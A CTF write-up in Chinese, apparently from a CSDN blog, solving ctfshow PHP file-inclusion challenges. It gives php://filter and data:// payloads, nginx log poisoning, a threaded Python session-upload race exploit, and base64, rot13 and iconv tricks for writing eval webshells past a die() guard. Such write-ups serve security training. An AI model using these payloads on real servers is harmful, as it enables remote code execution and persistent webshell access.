ctfshow---文件包含

文章详细介绍了利用PHP伪协议进行文件读取和执行,包括php://filter,data伪协议,以及如何通过nginx日志包含实现远程代码执行(RCE)。还讨论了session条件竞争来绕过过滤,并展示了如何利用base64编码和rot13编码绕过限制。最后提到了其他过滤器的规避方法,如iconv编码。

web78

伪协议读取即可

(7条消息) PHP伪协议详解_Snakin_ya的博客-CSDN博客

payload:php://filter/read=convert.base64-encode/resource=flag.php

web79

把php过滤了,正常的上面那种形式用不了了,用data伪协议

data://数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

data://text/plain, 这里加php代码,是可以正常执行的

payoad:data://text/plain,<?php system('ls');?>

web80-81

用日志包含,nginx的日志存储位置:/var/log/nginx/access.log

可以看到每一条记录都会在日志里保存

 而包含是可以将别的文件当作php来执行

所以先在user-agent头部里面写入一句话

然后去包含这个日志,达到rce效果

web82-86

过滤了. 上一个也用不了了,用session条件竞争

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

1、先构造一个上传包

<!DOCTYPE html>
<html>
<body>
<form action="http://7b59253b-ee08-4bd1-9cbb-787e7fce920a.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

把地址替换成题目地址,上传一个文件(这个文件可以随便一个图片),然后抓包,发送到intruder

修改一下箭头指向的地方,第一个指向的地方是可以决定临时文件的名字,这样写的话session命名方式是sess_flag,目录是/tmp临时目录,第二个指向的地方是你写进去的代码

然后在原来的题目上传参再抓一个包,file参数写/tmp/sess_flag就行,去包含它

两个包都设置攻击跑1000次或多点,然后两个一起开始

可以看到右边有不一样的返回长度

看到index.php,可以成功rce了,后续修改system里面的内容重复操作即可

 、

也可以用脚本:

import io
import requests
import threading

url='http://ca382971-1c8c-4e0d-bacd-ed2c92fd4415.challenge.ctf.show/'

def write(session):
    file=io.BytesIO(b'a'*1024*50)  #生成一个50k大小的文件
    while True:
        res=session.post(url=url,data={
            'PHP_SESSION_UPLOAD_PROGRESS':"<?php system('ls');?>"
        },cookies={
            'PHPSESSID':'hacker'
        },files={
            'file':('1.jpg',file)
        })

def read(session):
    while 1:
        res=session.get(url=url+'?file=/tmp/sess_hacker')   #访问临时目录文件
        if res.status_code==200:   #返回状态码是200就打印
            print('+++++++++++'+res.text)

if __name__ == '__main__':
    event=threading.Event()   #多线程
    with requests.session() as session: #保持session会话
        for i in range(5):  #5个线程
            threading.Thread(target=write,args=(session,)).start()  
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
        event.set()  

原理就是用session会生成一个临时文件到临时目录,在他删除内容之前去访问这个文件

这是我本地的三行代码

<?php
session_start();
echo phpinfo();

按上面的操作抓包改下,发送

可以看到在我tmp目录下生成了一个sess_hacker

 0kb则是因为我的cleanup是On状态,所以会自动删除文件内容

 web87

file_put_contents是写文件:第一个参数是文件名,第二个参数是文件内容

写的文件内容会自动拼接上   <?php die('大佬别秀了') ;?>  退出,接下来就是想办法绕过它

php://filter/write=convert.base64-decode/resource=1.php

这一句话的意思是;base64解码后再进行写文件

绕过str_replace也很简单,url编码两次就可以,因为浏览器会自动解码一次,file_put_contents这里面再解码一次


content是写入内容,要进行base64编码 对应上面的伪协议解码,而base解码时,是4个一组,1.php(要写入的文件),写入的内容中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了

base64特征:大写小写a-Z和数字0-9,"+","/"(所以碰到<?;这种符号base64是识别不了的)


(1)

content=<?php system('ls');?>

base64后:

content=PD9waHAgc3lzdGVtKCdscycpOz8+


(2)

写入的文件内容是这样的

<?php die('大佬别秀了');?>PD9waHAgc3lzdGVtKCdscycpOz8+

这时候伪协议会进行对内容phpdiePD9waHAgc3lzdGVtKCdscycpOz8+  base64解码,phpdie只有6个字节要补2个字节


(3)

所以我们补2个a,content=aaPD9waHAgc3lzdGVtKCdscycpOz8+

伪协议会base64解码phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+

因为php编码有点问题:可以这样写马:

<?php eval($_POST[a]);phpinfo();?>

PD9waHAgZXZhbCgkX1BPU1RbYV0pO3BocGluZm8oKTs/Pg==

payload:将php://filter/write=convert.base64-decode/resource=1.php进行url编码两次

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

get提交:file=上面这个url编码两次后的值

post提交:content=aaPD9waHAgZXZhbCgkX1BPU1RbYV0pO3BocGluZm8oKTs/Pg

然后去访问1.php,连蚁剑都可以

第二种:上面用的是base64的方式,还可以用rot13编码

php://filter/write=string.rot13/resource=2.php(同样url编码两次)

把<?php system('cat f*.php');?>网上搜索一个网站进行rot13编码CTF在线工具-在线Rot13密码加密|在线Rot13密码解密|Rot13密码算法|Rot13 Cipher (hiencode.com)

传参后访问2.php即可。

rot13时候前半段没编码,后半段编码,编码之后会,前半段编码,后半段复原,从而绕过

<?php system('cat f*.php');?>   ===>>>编码后:<?cuc flfgrz('png s*.cuc');?>

再使用rot13这个会变回来,再会把<?php die('大佬别秀了');?> 进行rot13编码,打乱die不让他退出

web88

禁用了一堆,但是没有禁用: 先把<?php system('ls');?>编码

data://text/plain;base64,base64编码字符,这种方式是可以成功解码base64并执行的

payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKGxzKTs/Pg

进行base64的时候需要把=去掉,它并不会影响前面字符的解码。

web116

跳过

web117

过滤了string过滤器的一堆,但我们可以用别的过滤器

本地php执行代码:

$a=iconv("UCS-2be","UCS-2le",'<?php @eval($_POST[benben]);?>');
$b=iconv("UCS-2be","UCS-2le",'?<hp pe@av(l_$OPTSb[neeb]n;)>?');
echo $a;
echo "\n";
echo $b;

代码结果:可以看到编码后再编码一次是可以成功复原的,就跟rot13差不多

编码结果是这个:?<hp pe@av(l_$OPTSb[neeb]n;)>?

get传参:?file=php://filter/convert.iconv.UCS-2le.UCS-2be/resource=2.php

post传参:contents=?<hp pe@av(l_$OPTSb[neeb]n;)>?

然后访问2.php,post传benben参数命令执行即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值